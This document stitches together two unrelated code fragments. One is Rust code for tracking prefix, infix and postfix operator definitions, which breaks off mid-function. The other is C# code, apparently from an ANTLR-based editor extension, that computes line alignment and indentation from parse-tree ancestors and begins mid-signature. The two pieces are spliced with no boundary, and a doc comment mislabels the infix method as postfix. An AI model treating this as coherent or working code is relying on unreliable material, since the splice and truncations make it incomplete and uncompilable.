    /// Is the operator defined for use as postfix?
    #[inline]
    fn postfix(&self) -> bool {
        self.postfix
    }

    /// Is the operator defined for use as postfix, and with what associativity
    /// and precedence?
    #[inline]
    fn infix(&self) -> Option<(Associativity, Precedence)> {
        self.infix
    }
}

/// A dictionary-like value for keeping track of which operators are defined,
/// and what kind of use they support (of infix, prefix, and postfix).
#[derive(Debug)]
pub struct DefinedOperators {
    defined: HashMap<String, Fixity>,
}

impl DefinedOperators {
    /// Is a specific operator defined for prefix use?
    pub fn is_prefix(&self, op: &str) -> bool {
        self.defined.get(op).map(Fixity::prefix).unwrap_or(false)
    }

    /// Define a new prefix operator. Returns whether the operator was already
    /// defined for prefix use.
    pub fn define_prefix(&mut self, op: &str) -> bool {
        let fixity = self.get_mut(op);
        let old = fixity.prefix;


Tree, IParseTree firstNodeOnLine, SnapshotPoint lineStart)
        {
            for (IParseTree ancestor = firstNodeOnLine; ancestor != null; ancestor = ancestor.Parent)
            {
                AlignmentRequirements requirements = GetAlignmentRequirement(parseTree, firstNodeOnLine, ancestor);
                if ((requirements & AlignmentRequirements.UseAncestor) != 0)
                    continue;

                if ((requirements & AlignmentRequirements.IgnoreTree) != 0)
                    return null;

                IList<IParseTree> siblings = null;
                if ((requirements & AlignmentRequirements.PriorSibling) != 0)
                {
                    int childCount = ancestor.ChildCount;
                    siblings = new List<IParseTree>(childCount);
                    for (int i = 0; i < childCount; i++)
                    {
                        IParseTree child = ancestor.GetChild(i);
                        siblings.Add(child);
                        if (ParseTrees.IsAncestorOf(child, firstNodeOnLine))
                            break;
                    }
                }

                Tuple<IParseTree, int> alignmentElement = GetAlignmentElement(parseTree, firstNodeOnLine, ancestor, siblings);
                if (alignmentElement == null)
                    continue;

                IToken startToken = ParseTrees.GetStartSymbol(alignmentElement.Item1);
                string beginningOfLineText = startToken.TokenSource.InputStream.GetText(new Interval(startToken.StartIndex - startToken.Column, startToken.StartIndex - 1));
                int elementIndent = 0;
                for (int i = 0; i < beginningOfLineText.Length; i++)
                {
                    if (beginningOfLineText[i] == '\t')
                    {
                        elementIndent += TabSize;
                        elementIndent -= (elementIndent % TabSize);